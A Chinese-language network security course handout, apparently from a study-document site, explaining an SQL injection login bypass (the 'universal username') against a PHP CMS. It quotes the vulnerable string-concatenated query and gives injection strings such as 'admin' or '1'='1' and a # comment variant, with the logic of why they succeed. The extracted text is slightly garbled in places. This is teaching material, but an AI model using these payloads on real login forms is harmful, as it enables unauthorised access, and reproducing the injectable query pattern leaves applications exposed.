计算机网络安全技术 SQL注入之万能用户名.

2023年12月821:57:07发布者:EMT 24 views 举报
总字数:约1162字
第1页
1/3页

分析代码

在安装的 cms 数据库目录 C:\phpStudy\WWW\cms\admin 下找到 login.action.php 文件,查看第 20 行,

发现如下 php 代码:

这段代码先用 select 语句做了数据库的查询操作,查询用户输入的用户名和密码(密码做 md5 加密),

然后将查询的结果给 if 语句做判断,如果根据用户名密码不为空且能查到 userid ,就登录成功;否则,输

用户名或密码不正确

如果我们能使用一个万能用户名,使 if 语句的判断永远为真,那么用任意密码就能成功登录数据库。

原理

将找到的这段 select 语句

去除 php 格式 改写为

d 或直接 # 注释掉后面的语句

这段语句中有逻辑与和逻辑或,以第一种方法为例(第二种方法密码段被注释),在逻辑运算中,一般

先做与运算,再做或运算:

也就是说,这段代码如果由数据库中 if 语句判断,它的结果永远为 true 这样就能实现用万能用户名登录

数据库的目的。

实现

输入万能用户名和任意密码:

$user_row = $db -> getOneRow ( "select userid from cms_users where username =

'" . $username . "' and password='" . md5 ( $password ) . "'" );

if ( ! empty ( $user_row )) {

setcookie ( userid , $user_row [ 'userid' ] );

header ( "Location: index.php" );

} else {

exit ( "<script>alert(' 用户名或密码不正确! ');window.history.go(-1)</script>" );

"select userid from cms_users where username = '" . $username . "' and

password='" . md5 ( $password ) . "'"

select userid from cms_users where username = 'admin' or '1' = '1' and

password = '*****'

select userid from cms_users where username = 'FUZZ' or '1'='1' # and

password='*****'

'1'='1' and password='*****' =false

'admin' or false = true

总页数:3
提示:下载前请核对题目。客服微信:diandahome
下载的文档都包含参考答案
特别声明:以上内容(如有图片或文件亦包括在内)为“电大之家”用户上传并发布,仅代表该用户观点,本平台仅提供信息发布。